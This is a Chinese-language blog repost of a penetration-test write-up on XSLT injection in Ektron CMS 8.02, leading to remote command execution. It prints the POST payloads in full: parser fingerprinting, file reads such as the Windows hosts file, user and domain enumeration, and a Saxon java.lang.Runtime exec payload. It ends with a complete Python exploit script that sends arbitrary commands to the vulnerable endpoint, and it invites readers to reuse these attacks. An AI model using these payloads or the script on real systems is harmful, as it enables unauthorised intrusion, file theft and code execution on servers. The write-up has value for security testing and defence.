渗透测试:从XSLT注入到Getshell

2019-09-01 约 1916 字 预计阅读 4 分钟

声明:本文 【渗透测试:从XSLT注入到Getshell】 由作者 Hulk 于 2019-09-01 10:22:00 首发 先知社区 曾经 浏览数 148 次

感谢 Hulk 的辛苦付出!

本文分享的是一个XSLT注入漏洞,漏洞存在于Ektron CMS 8.02的Saxon组件中,攻击者利用该漏洞,可造成SSRF甚至RCE。但研究者发现Metasploit上的exp似乎无法利用,漏洞已被修补。后来经过摸索,进一步做信息收集,最终获取RCE。

偶然发现攻击面

国外某研究人员应邀給一个大型组织做Web渗透测试。经过简单的信息收集,发现该Web应用较为简单,没有明显的缺陷。

进一步搜寻测试后,研究人员使用dirbuster(目录扫描器)发现了一个有趣的JavaScript文件,查阅文件内容显示应用程序为:Ektron CMS 8.02

简单搜索因特网,研究人员在Microsoft Research Advisory上找到关于该CMS的一些漏洞信息:

...当Ektron Web CMS 的XslCompiledTransform类处理用户控制的XSL数据时,可能会导致容易代码执行...

存在漏洞的页面:

https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx

目标确实存在这个页面,它可能可以存在漏洞。下一步,研究人员开始枚举目标服务器上的XSLT解析引擎,通过Burp发送一个POST请求,同时在Body处插入XSLT有效载荷:

xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
 <html>
 <body>
 Version: <xsl:value-of select="system-property('xsl:version')" />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
 </body>
 </html>
 </xsl:template>
 </xsl:stylesheet>

页面反馈:

Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com

尝试通用Exp

此时,已经表明为Microsoft XSLT解析器。紧接着,研究人员在Metasploit上找到一个模块,可用于此攻击。设置完毕参数后,exploit,但没有返回结果。可初步判断,目标应用上的这个漏洞已修补,无法被利用,但研究者并没有放弃,查看Metasploit发送的请求:

很容易看出,它会调用一个有趣的脚本:

<msxsl:script language =“C#”implements-prefix =“user”>

Microsoft XSLT 似乎可以运行C#。通过脚本元素,可以在XSLT文档或其他带外扩展中嵌入C#恶意代码。

构造一个简单的SSRF探测有效载荷:

xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
          {
              System.Diagnostics.Process.Start("cmd.exe /C ping IP");
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
    </xsl:template>
  </xsl:stylesheet>

反馈:

已禁止使用脚本。可以通过XsltSettings.EnableScript属性激活。

看来这就是为什么Metasploit模块攻击失效的原因了。虽然已在元素中嵌入C#,但脚本被禁用,无法工作。通过这点,可以确定漏洞已经修补了,攻击者无法获取RCE。但研究人员没有放弃,开始进一步搜索漏洞信息。

柳暗花明

查阅资料,研究人员找出两份关于XSLT注入攻击的研究文档[1.2],第一份为德文,较为全面地介绍了这类攻击,第二份来自IOActive。阅读相关文档后,研究人员发现其实Ektron CMS附有多个XSLT解析器,其中一个名为Saxon。枚举Saxon版本:

xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

反馈:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

Saxon解析器可以正常解析用户输入,同时提供反馈。接下来,攻击者可以尝试读取一些文件,枚举信息甚至命令执行。

读取文件

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看当前目录

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
  </xsl:transform>

查看当前用户和域:

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

攻击者现在可以探测服务器目录结构,读取服务器上的大部分文件,SAM文件除外,因为Web应用用户权限不足。

Getshell

研究人员的最终目标是命令执行,但文档中没有可用的XSLT样式。进一步研究那份德文文档,发现可以Xalan处理器来执行Java代码,但Saxon解析器没有声明命名空间。

尝试构造模块,反馈错误。

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>

研究Saxonica文档后,研究人员发现可利用命名空间和某些函数,构造XSLT文档来执行命令:

xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

后来发现没有声明java的命名空间:

xmlns:java="http://saxon.sf.net/java-type">

如果没有声明命名空间,处理器不能找到与java:java.lang.Runtime相关的外部对象或脚本。

发送有效负载,研究人员可执行任意命令,并且可以与Empire框架连接,至此web渗透部分结束。

利用脚本

#! /usr/bin/python
import httplib

target = raw_input("""Enter the domain or IP address of target: 
e.g. www.google.com, or 198.162.0.1:  """)
port = raw_input("""Enter port number of target 
e.g. 80 or 443:  """)
process = raw_input("""Enter the process you wish to run: 
powershell.exe or cmd.exe:  """)
command = raw_input("""Enter command you wish to run: 
e.g. ping 127.0.0.1:  """)


def printText(txt):
    lines = txt.split('\n')
    for line in lines:
        print line.strip()

httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()

payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)

headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}

httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers) 

response = httpServ.getresponse()
if response.status == httplib.OK:
    print "Java Process Id: "
    printText (response.read())

httpServ.close()

研究人员并未分享内网渗透内容。

小结

渗透测试人员如果发现Microsoft XSLT解析器中EnableScript设置为False,则不用尝试Metasploit模块,可直接从本文获取一些攻击方式。

参考来源:hunniccyber

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now